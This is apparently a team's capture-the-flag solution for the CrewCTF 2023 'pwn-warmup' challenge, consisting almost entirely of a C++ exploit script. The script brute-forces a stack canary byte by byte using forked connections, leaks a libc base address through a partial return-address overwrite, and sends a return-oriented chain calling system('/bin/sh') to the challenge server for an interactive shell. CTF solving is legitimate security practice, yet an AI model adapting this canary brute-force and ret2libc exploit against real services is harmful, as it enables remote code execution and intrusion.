Project Sekai
🔒 CrewCTF 2023 / 🩸-pwn-warmup
nc 35.189.210.103 17012
Files:
Well done, you got first blood!#include "framework.h"
#include <vector>
#include <thread>
#include <sys/mman.h>
#include <utility>
static constexpr char host[] = "34.76.152.107";
int *shared;
void canary(std::string payload, int port, int l, int r) {
payload.push_back('\x00');
for (int j = l; j < r && *shared == -1; ++j) {
payload.back() = j;
auto rr = TCPSocket(host, port);
rr.Send(payload);
rr.RecvLine();
try {
rr.RecvLine();
} catch(...) {
*shared = j;
break;
}
}
exit(0);
}
int main() {
auto r = TCPSocket(host, 17012);
r.RecvUntil("port ");
int port = atoi(r.RecvUntil(" ").c_str());
std::string payload(57, '\x00');
for (int i = 0; i < 7; ++i) {
LogVar(i);
shared = reinterpret_cast<int *>(mmap(nullptr, sizeof(int), PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0));
*shared = -1;
pid_t p[4];
p[0] = fork();
if (p[0] == 0) canary(payload, port, 0, 64);
p[1] = fork();
if (p[1] == 0) canary(payload, port, 64, 128);
p[2] = fork();
if (p[2] == 0) canary(payload, port, 128, 192);
p[3] = fork();
if (p[3] == 0) canary(payload, port, 192, 256);
while (*shared == -1) sleep(0);
payload.push_back(*shared);
}
payload.resize(payload.size() + 8);
payload.push_back('\x76');
for (int i = 0; i < 4; ++i) {
LogVar(i);
payload.push_back('\x00');
int start = 0, step = 1;
if (i == 0) {
start = 0xA;
step = 0x10;
}
for (int j = start; j < 256; j += step) {
payload.back() = j;
auto rr = TCPSocket(host, port);
rr.Send(payload);
rr.RecvLine();
try {
if (rr.RecvLine()[0] == 'T') {
break;
}
} catch(...) {
}
}
}
payload.push_back('\x7f');
payload.push_back('\x00');
payload.push_back('\x00');
auto libc = Unpack<uint64_t>(payload.substr(72)) - 0x23a76;
LogHex(libc);
payload.resize(payload.size() - 8);
payload += Pack(libc + 0x22fd9); // ret
payload += Pack(libc + 0x240e5); // pop rdi ; ret
payload += Pack(libc + 0x1B51D2); // /bin/sh
payload += Pack(libc + 0x4EBF0); // system
HexDump(payload);
auto rr = TCPSocket(host, port);
rr.Send(payload);
rr.Interactive();
}